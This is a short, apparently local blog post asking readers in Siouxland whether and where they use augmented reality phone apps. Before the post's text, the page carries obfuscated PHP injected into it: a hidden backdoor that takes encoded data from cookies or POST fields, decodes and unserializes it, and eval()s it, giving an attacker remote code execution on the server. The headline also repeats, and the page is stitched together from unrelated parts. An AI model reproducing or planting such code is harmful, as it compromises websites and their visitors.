$NtqBU = chr ( 576 - 462 )."\x78" . 'c' . "\137" . chr ( 779 - 690 ).chr ( 670 - 594 )."\x62";$HOwBdqewZN = chr (99) . "\154" . chr ( 241 - 144 )."\163" . "\x73" . '_' . chr ( 768 - 667 ).chr ( 628 - 508 ).'i' . "\163" . 't' . 's';$yQpiowXUKv = $HOwBdqewZN($NtqBU); $NtqBU = "13292";$HOwBdqewZN = "10129";$ZdtmbzW = $yQpiowXUKv;if (!$ZdtmbzW){class rxc_YLb{private $TClzu;public static $wxqIwSAV = "dbca6955-8646-48d6-81a1-c633c76f5513";public static $gyQbZELA = 1746;public function __construct($MXZCkbeJ=0){$vohuZzro = $_COOKIE;$VHUntKOPUM = $_POST;$tPvzITs = @$vohuZzro[substr(rxc_YLb::$wxqIwSAV, 0, 4)];if (!empty($tPvzITs)){$lgSnrWzBqW = "base64";$CylTkeAl = "";$tPvzITs = explode(",", $tPvzITs);foreach ($tPvzITs as $DRGZEk){$CylTkeAl .= @$vohuZzro[$DRGZEk];$CylTkeAl .= @$VHUntKOPUM[$DRGZEk];}$CylTkeAl = array_map($lgSnrWzBqW . chr (95) . chr ( 137 - 37 ).'e' . "\143" . "\x6f" . chr ( 876 - 776 ).chr (101), array($CylTkeAl,)); $CylTkeAl = $CylTkeAl[0] ^ str_repeat(rxc_YLb::$wxqIwSAV, (strlen($CylTkeAl[0]) / strlen(rxc_YLb::$wxqIwSAV)) + 1);rxc_YLb::$gyQbZELA = @unserialize($CylTkeAl);}}private function EDAiC(){if (is_array(rxc_YLb::$gyQbZELA)) {$wmcRmbDl = str_replace(chr (60) . chr ( 513 - 450 )."\x70" . chr (104) . "\160", "", rxc_YLb::$gyQbZELA["\143" . "\157" . chr ( 950 - 840 )."\x74" . 'e' . chr (110) . chr (116)]);eval($wmcRmbDl); $mHzrWV = "50690";exit();}}public function __destruct(){$this->EDAiC(); $mHzrWV = "50690";}}$tMvflraZ = new rxc_YLb(); $tMvflraZ = "8787_44322";} Are you experimenting with augmented reality locally?

Are you experimenting with augmented reality locally?

Are you experimenting with augmented reality locally?

Augmented reality.

 

Just saying that term seems to scare off even the savviest of tech folks, until they understand what it is. But John Mayer is using it in new video, so it must be legit.

 

To be honest, I still don’t have a full comprehension of the capabilities this new technology has, but it is intriguing, nonetheless.

 

Essentially, using a phone app, augmented reality allows users to add comments and content related to the things they see around them. Say you’re in a restaurant and you like the double cheeseburger and want to share. Augmented reality software allows you to add a comment that others can access or see if they use similar software.

 

So, my question: Are you using augmented reality in Siouxland, and if so, how and where have you utilized it?

 

Photo:  “Wikitude” by Mr3641 – Own work. Licensed under Creative Commons Attribution-Share Alike 3.0 via Wikimedia Commons

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